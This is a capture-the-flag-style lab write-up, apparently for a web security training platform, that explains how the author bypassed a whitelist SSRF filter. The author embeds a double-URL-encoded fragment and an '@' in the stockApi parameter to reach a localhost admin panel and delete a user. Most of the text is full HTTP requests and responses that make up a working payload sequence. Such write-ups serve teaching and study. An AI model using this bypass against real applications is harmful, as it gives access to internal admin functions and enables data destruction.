SSRF with whitelist based input filter
Description
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin
and delete the user carlos
.
The developer has deployed an anti-SSRF defense you will need to bypass.
Approach
Upon gaining access to the lab, I immediately focused on exploring the "stock check" functionality to understand its mechanics. As expected, this feature initiated a POST
request to /product/stock
, with a crucial parameter named stockApi
, intended to fetch data from an external URL.
POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...
stockApi=http://localhost
However, my attempt to redirect it to localhost
was met with a "400 Bad Request" error, indicating that the external stock check host must be stock.weliketoshop.net
. i do get this error
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 58
"External stock check host must be stock.weliketoshop.net"
Determined to bypass this filter, I experimented with various techniques in the request. Initially, I attempted to embed credentials directly into the URL using the format http://USERNAME@HOSTNAME
, leading to a Could not connect to external stock check service
response.
POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...
stockApi=http://ichyaboy@stock.weliketoshop.net
Could not connect to external stock check service
It did get through, so now I will attempt to use the #
character to indicate a URL fragment. Anything following the #
is considered an element on that page, with the hostname preceding it. The URL format is as follows:
http://Hostname#element
so this trick is going to indicate that what comes after it is an element which is in our case the @stock.weliketoshop.net
(we need the @
there because it is the reason that it is letting us write something gets accepted before the acquired hostname).
POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...
stockApi=http://ichyaboy#@stock.weliketoshop.net
response:
HTTP/2 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 58
"External stock check host must be stock.weliketoshop.net"
This error suggests that the #
isn't being processed, so I attempted to URL-encode it, but without success. However, when I double URL-encoded it, everything worked smoothly
POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...
stockApi=http://ichyaboy%2523@stock.weliketoshop.net
However, I encountered another error, which was logical because at this stage, the system attempted to reach 'ichyaboy' as if it were a hostname, resulting in an error due to its nonexistence. Therefore, I adjusted it to 'localhost', which granted me access.
POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...
stockApi=http://localhost%2523@stock.weliketoshop.net
Now, I need to access the admin panel and delete the user 'Carlos'. To achieve this, all I need to do is send the following request:
POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101
...
stockApi=http://localhost%2523@stock.weliketoshop.net/admin
It might appear perplexing to some of you why /admin
is positioned at the end of the URL rather than directly following localhost
. The trick lies in the fact that, as mentioned earlier, anything after the #
symbol is interpreted as an element until it encounters a /
, which is then analyzed as a path. Consequently, the server accesses that designated path.
Let me break it for you:
http://Hostname#Element/Path
http://localhost#@stock.weliketoshop.net/admin
after double URL encode of #
http://localhost%2523@stock.weliketoshop.net/admin
Now, all that remains is to delete the user 'Carlos', and the pathway to do so becomes evident from the response when accessing the admin panel, which contains <a href="/admin/delete?username=carlos">
So, sending a GET
request to /admin/delete?username=carlos
will initiate the deletion process. Therefore, my request appears as follows:
POST /product/stock HTTP/2
Host: 0a67005903d8134988e1789f00e800f9.web-security-academy.net
Cookie: session=Luw2uF7kwwPLZbhCMmpNGNVTIB4GakHY
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 ...
stockApi=http://localhost%2523@stock.weliketoshop.net/admin/delete?username=carlos
This request successfully deleted the "Carlos" user, thereby resolving the lab.